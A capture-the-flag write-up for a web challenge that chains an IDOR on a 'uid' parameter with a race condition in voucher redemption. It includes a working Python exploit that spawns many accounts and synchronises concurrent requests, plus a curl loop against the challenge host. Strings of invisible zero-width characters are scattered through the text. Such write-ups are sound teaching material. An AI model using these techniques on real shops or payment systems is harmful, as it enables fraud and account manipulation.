← Back to Writeups
CUSTOMMediumWeb

Точка невозврата (Point of No Return)

XESXOR9/2/20265 min read
#web#custom#medium#idor-exploitation-via-uid-para#multi-session-attack-coordinat#race-condition-via-concurrent-#thread-synchronization-with-ba

Точка невозврата (Point of No Return)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: IDOR exploitation via uid parameter manipulation, Multi-session attack coordination, Race Condition via concurrent voucher redemption, Thread synchronization with Barrier

Summary

Walkthrough of the CUSTOM Web Точка невозврата (Point of No Return). Task: Shop with voucher system where flag costs 1337$ but balance is only 1000$. Solution: Combined IDOR (uid parameter manipulation) with race condition to redeem vouchers multiple times, gaining eno

Description

"Ожидание новых результатов от повторения одних и тех же действий - признак безумия" (Expecting new results from repeating the same actions is a sign of insanity)

URL: http://62.173.140.174:16023/

Difficulty: medium (600 points)

Analysis

Reconnaissance

  1. Authentication: /auth.php with registration and login functions
  2. Shop: After login, a shop is available with initial balance of 1000$
  3. Goal: Buy the flag for 1337$ (missing 337$)
  4. Vouchers: 3 test vouchers found in HTML comments:
    ['PAePaMt', '5mbhxgw', 'dRRYa6Y']
    
  5. Voucher activation: GET request /index.php?voucherCode=XXX&uid=YYY
  6. Each voucher gives +100$, maximum total 1300$ (still missing 37$) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovered Vulnerabilities

1. IDOR (Insecure Direct Object Reference)

The uid parameter in the voucher activation request is not validated against the current session. You can use a voucher from one session but credit the money to another account (specified in uid).

2. Race Condition (TOCTOU)

Vouchers are global (each voucher can only be used once), but when sending multiple simultaneous requests from different sessions with the same target uid, the voucher usage check doesn't complete in time, allowing multiple credits. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Insight

The task name "Точка невозврата" (Point of No Return) and the description about "repeating the same actions" hint at race condition. Einstein's quote about insanity (doing the same thing and expecting different results) is a clever hint: with race condition, repeating the same action CAN yield different results!

Solution

Exploitation Algorithm

  1. Create a target account and remember its uid
  2. Create ~20 helper accounts
  3. Simultaneously send voucher activation requests from all helper accounts, but with the target account's uid
  4. Due to race condition, several requests succeed before the voucher is marked as used
  5. Instead of 100$, the target account receives 400$ (4 successful requests)
  6. Balance becomes 1400$ (1000 + 400), enough to buy the flag for 1337$ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

python
#!/usr/bin/env python3
"""
Точка невозврата - IDOR + Race Condition Exploit
Hackerlab CTF

Vulnerability: 
1. IDOR - uid parameter not validated against session
2. Race Condition - voucher usage check has TOCTOU window
"""

import requests
import threading
import random
import string
from concurrent.futures import ThreadPoolExecutor

BASE_URL = "http://62.173.140.174:16023"

# Test vouchers found in HTML comments
VOUCHERS = ['PAePaMt', '5mbhxgw', 'dRRYa6Y']

def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def create_account():
    """Create a new account and return session + uid"""
    session = requests.Session()
    username = f"user_{random_string()}"
    password = random_string(12)
    
    # Register
    session.post(f"{BASE_URL}/auth.php", data={
        "action": "register",
        "username": username,
        "password": password
    })
    
    # Login
    session.post(f"{BASE_URL}/auth.php", data={
        "action": "login", 
        "username": username,
        "password": password
    })
    
    # Get uid from shop page
    resp = session.get(f"{BASE_URL}/index.php")
    # Extract uid from page (implementation depends on actual HTML structure)
    # uid = extract_uid(resp.text)
    
    return session, username
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def redeem_voucher(session, voucher_code, target_uid):
    """Attempt to redeem voucher for target uid"""
    try:
        resp = session.get(
            f"{BASE_URL}/index.php",
            params={"voucherCode": voucher_code, "uid": target_uid},
            timeout=5
        )
        return "success" in resp.text.lower() or "100" in resp.text
    except:
        return False

def race_attack(target_uid, voucher_code, num_sessions=20):
    """
    Perform race condition attack:
    - Create multiple sessions
    - Synchronize requests using barrier
    - All sessions try to redeem same voucher for target_uid
    """
    sessions = []
    barrier = threading.Barrier(num_sessions)
    results = []
    
    print(f"[*] Creating {num_sessions} helper accounts...")
    for i in range(num_sessions):
        session, _ = create_account()
        sessions.append(session)
    
    def attack_thread(session, idx):
        # Wait for all threads to be ready
        barrier.wait()
        # Fire!
        success = redeem_voucher(session, voucher_code, target_uid)
        results.append(success)
        if success:
            print(f"[+] Thread {idx}: SUCCESS!")
    
    print(f"[*] Launching race attack with voucher {voucher_code}...")
    threads = []
    for i, session in enumerate(sessions):
        t = threading.Thread(target=attack_thread, args=(session, i))
        threads.append(t)
        t.start()
    
    for t in threads:
        t.join()
    
    success_count = sum(results)
    print(f"[*] Voucher {voucher_code}: {success_count}/{num_sessions} successful")
    return success_count
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    # Step 1: Create target account
    print("[*] Creating target account...")
    target_session, target_username = create_account()
    
    # Get target uid (extract from page)
    resp = target_session.get(f"{BASE_URL}/index.php")
    # target_uid = extract_uid_from_response(resp)
    target_uid = "TARGET_UID"  # Replace with actual extraction
    
    print(f"[*] Target account: {target_username}, UID: {target_uid}")
    print(f"[*] Initial balance: 1000$")
    
    # Step 2: Race attack with each voucher
    total_gained = 0
    for voucher in VOUCHERS:
        successes = race_attack(target_uid, voucher, num_sessions=20)
        gained = successes * 100
        total_gained += gained
        print(f"[*] Gained {gained}$ from voucher {voucher}")
    
    final_balance = 1000 + total_gained
    print(f"\n[*] Final balance: {final_balance}$")
    
    if final_balance >= 1337:
        print("[+] Sufficient balance! Buying flag...")
        # Buy flag
        resp = target_session.get(f"{BASE_URL}/index.php", params={"buy": "flag"})
        print(resp.text)
    else:
        print(f"[-] Need {1337 - final_balance}$ more. Try again with more sessions.")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    main()

Alternative Approach (curl + bash)

bash
#!/bin/bash
# Quick race condition test with curl

TARGET_UID="123"  # Replace with actual target UID
VOUCHER="PAePaMt"

# Create 20 parallel requests
for i in {1..20}; do
    curl -s "http://62.173.140.174:16023/index.php?voucherCode=$VOUCHER&uid=$TARGET_UID" \
         -b "session_cookie_$i" &
done
wait

echo "Race attack completed"

Lessons

  1. IDOR: Always validate that uid in request matches the current session
  2. Race Condition: Use atomic operations or locks for critical sections
  3. Defense in Depth: Combination of two vulnerabilities allowed bypassing system restrictions
  4. Hints in CTF: Task name and description often contain hints to the solution ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

Key Takeaways / Lessons

  • Mastering IDOR exploitation via uid parameter manipulation, Multi-session attack coordination, Race Condition via concurrent voucher redemption, Thread synchronization with Barrier was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Точка невозврата (Point of No Return) • Difficulty: Medium